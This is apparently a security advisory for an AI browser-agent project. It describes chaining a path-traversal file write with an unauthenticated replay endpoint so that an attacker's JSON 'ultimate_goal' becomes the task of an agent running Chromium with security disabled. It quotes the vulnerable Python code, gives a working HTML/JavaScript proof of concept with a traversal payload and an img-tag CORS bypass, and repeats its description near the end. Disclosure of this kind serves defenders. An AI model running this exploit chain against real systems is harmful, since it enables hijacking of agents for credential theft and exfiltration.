This vulnerability is found by Songwu security researcher,Zeyu Luo security researcher, Dr. CAO Yinfeng, Kevin(The Hong Kong Polytechnic University / HKCT Institute of Higher Education)
vulnerability description
The server in this project exposes two unauthenticated HTTP servers on 0.0.0.0. Through a chained attack combining a path traversal vulnerability in the data collection server (port 4934) and an unsanitized file-path parameter in the AI replay server (port 3089), a remote attacker who can lure a victim to visit a malicious webpage can:
Write an attacker-controlled JSON file to any path the process can write to.
Trigger the AI Agent to load that file and execute the attacker-supplied ultimate_goal as its autonomous task.
The AI Agent then operates a real Chromium browser — with all security policies disabled (disable_security=True) — performing whatever actions the attacker specifies (credential theft, account takeover, data exfiltration, etc.).
No authentication, no input validation, and no sandboxing are present at any layer of this attack chain.
vulner ability detail
action_collect_server.py — Path Traversal / Arbitrary File Write
# taskId is taken directly from POST body with no validation
task_id = event_data["taskId"]
def mkdir_n_define_file_name(data_root_dir, task_name):
# os.path.join does NOT sanitize "../" sequences
folderpath = os.path.join(data_root_dir, date_folder, task_name)
os.makedirs(folderpath, exist_ok=True) # creates arbitrary dirs
filepath = os.path.join(folderpath, f"summary_event_{timestamp}.json")
return filepath
filepath = mkdir_n_define_file_name("data", task_id)
# Entire POST body (attacker-controlled) is written verbatim
with open(filepath, "w") as json_file:
json.dump(event_data, json_file)
# Response leaks the resolved absolute path
return jsonify({"status": "success",
"message": f"Event received and saved as {filepath}"}), 200
wap_service.py — Unauthenticated Arbitrary-Path Replay Trigger
# file_path query parameter passed directly to run_replay.main()
# No authentication, no path validation, no allow-list
@app.route('/replay', methods=['GET'])
async def replay():
file_path = request.args.get('file_path') # fully attacker-controlled
iterations = int(request.args.get('iterations', 1))
model = request.args.get('model', 'openai')
await run_replay.main(iterations, model, file_path)
return jsonify({"status": "success", "message": "Replay executed successfully"})
# No CORS restriction — no flask-cors at all
# Cross-origin <img> tags and no-cors fetch requests can reach this endpoint
app.run(host='0.0.0.0', port=3089)
run_replay.py — Attacker-Controlled AI Agent Task
# File at attacker-controlled path is opened without validation
with open(wap_replay_list_path, "r", encoding="utf-8") as f:
replay_list.append(json.load(f))
# ultimate_goal field becomes the AI Agent's autonomous task verbatim
task_str = replay_list["ultimate_goal"] # ATTACKER-CONTROLLED STRING
# Browser launched with ALL security policies disabled
browser = Browser(
config=BrowserConfig(
disable_security=True, # disables HTTPS cert checks,
new_context_config=BrowserContextConfig( # same-origin policy, etc.
disable_security=True,
),
)
)
agent = Agent(
task=task_str, # attacker's instruction
llm=client,
browser=browser,
validate_output=True,
)
history = await agent.run(max_steps=20)
Poc
<!DOCTYPE html>
<html>
<body>
<pre id="out">exp running...</pre>
<script>
const out = document.getElementById('out');
const log = s => out.textContent += s + '\n';
async function attack() {
// ── Step 1:write malicious file ──
log('[*] Step 1: write malicious file...');
const r1 = await fetch('http://localhost:4934/action-data', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
taskId: "../../../../tmp/agent_inject",
ultimate_goal:"open https://example.com and take a screenshot",
task_id: "injected",
type: "smart_replay",
subgoal_list: []
})
});
const d1 = await r1.json();
log('[+] ' + d1.message);
const filePath = d1.message.replace('Event received and saved as ', '').trim();
log('[+] 任务文件: ' + filePath);
// ── Step 2:img bypass. cors)──
log('\n[*] Step 2: call AI Agent...');
const url = 'http://localhost:3089/replay'
+ '?concurrent=1'
+ '&model=openai'
+ '&file_path=' + encodeURIComponent(filePath);
await new Promise(resolve => {
const img = new Image();
img.onload = () => { log('[+] 200 OK,Agent started'); resolve(); };
img.onerror = () => { log('[+] server responded, Agent started (non-image response is normal)'); resolve(); };
img.src = url;
setTimeout(resolve, 5000);
});
log('\n[!] Observe if the target machine pops up a Chrome browser window to execute the task');
}
attack().catch(e => log('[-] ' + e));
</script>
</body>
</html>
This vulnerability is found by Songwu security researcher,Zeyu Luo security researcher, Dr. CAO Yinfeng, Kevin(The Hong Kong Polytechnic University / HKCT Institute of Higher Education)
vulnerability description
The server in this project exposes two unauthenticated HTTP servers on 0.0.0.0. Through a chained attack combining a path traversal vulnerability in the data collection server (port 4934) and an unsanitized file-path parameter in the AI replay server (port 3089), a remote attacker who can lure a victim to visit a malicious webpage can:
Write an attacker-controlled JSON file to any path the process can write to.
Trigger the AI Agent to load that file and execute the attacker-supplied ultimate_goal as its autonomous task.
The AI Agent then operates a real Chromium browser — with all security policies disabled (disable_security=True) — performing whatever actions the attacker specifies (credential theft, account takeover, data exfiltration, etc.).
No authentication, no input validation, and no sandboxing are present at any layer of this attack chain.
vulner ability detail
action_collect_server.py — Path Traversal / Arbitrary File Write
wap_service.py — Unauthenticated Arbitrary-Path Replay Trigger
run_replay.py — Attacker-Controlled AI Agent Task
Poc